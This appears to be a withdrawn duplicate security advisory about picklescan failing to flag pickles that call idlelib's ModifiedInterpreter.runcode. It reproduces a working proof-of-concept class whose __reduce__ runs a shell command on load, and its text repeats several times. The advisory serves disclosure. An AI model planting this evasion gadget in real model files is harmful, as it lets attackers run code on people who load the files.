CVE-2025-71340

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-3gf5-cxq9-w223. This link is maintained to preserve external references.

Original Description

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-3gf5-cxq9-w223. This link is maintained to preserve external references.

Original Description

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.